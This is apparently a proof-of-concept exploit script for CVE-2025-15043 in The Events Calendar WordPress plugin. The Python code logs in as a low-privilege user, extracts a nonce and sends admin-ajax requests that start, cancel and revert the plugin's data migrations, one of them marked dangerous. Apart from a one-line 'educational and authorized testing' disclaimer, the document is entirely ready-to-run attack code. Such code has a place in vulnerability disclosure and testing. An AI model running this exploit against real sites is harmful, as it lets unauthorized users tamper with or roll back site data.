CVE-2025-15043

#!/usr/bin/env python3 """ CVE-2025-15043 PoC - The Events Calendar Plugin Unauthorized Migration Control Note: This PoC is for educational and authorized testing purposes only. """ import requests import sys TARGET_URL = "https://vulnerable-site.com/wp-admin/admin-ajax.php" USERNAME = "attacker" PASSWORD = "password" def get_wordpress_nonce(session, url): """Attempt to get a valid nonce from the target site""" response = session.get(f"{url.replace('/admin-ajax.php', '')}/wp-admin/admin.php?page=tribe-common") if 'nonce' in response.text: import re nonce_match = re.search(r'nonce":"([a-z0-9]+)"', response.text) if nonce_match: return nonce_match.group(1) return None def exploit_migration(session, action, nonce=None): """Send migration control request""" data = { 'action': action, 'tribe_attachment': '1', '_wpnonce': nonce or '' } if nonce: data['_wp_http_referer'] = '/wp-admin/admin.php?page=tribe-common' response = session.post(TARGET_URL, data=data) return response def main(): session = requests.Session() # Step 1: Authenticate print("[*] Authenticating to WordPress...") login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'testcookie': '1' } response = session.post( f"{TARGET_URL.replace('/admin-ajax.php', '/wp-login.php')}", data=login_data ) if 'wordpress_logged_in' not in session.cookies: print("[-] Authentication failed") sys.exit(1) print("[+] Authentication successful") # Step 2: Try to get nonce (optional in some configurations) nonce = get_wordpress_nonce(session, TARGET_URL) if nonce: print(f"[+] Obtained nonce: {nonce[:10]}...") # Step 3: Execute migration operations actions = [ ('tribe_start_migration', 'Start Migration'), ('tribe_cancel_migration', 'Cancel Migration'), ('tribe_revert_migration', 'REVERT MIGRATION (DANGEROUS)') ] for action, description in actions: print(f"\n[*] Executing: {description}") response = exploit_migration(session, action, nonce) print(f"[*] Status: {response.status_code}") print(f"[*] Response: {response.text[:200]}") if __name__ == "__main__": main()

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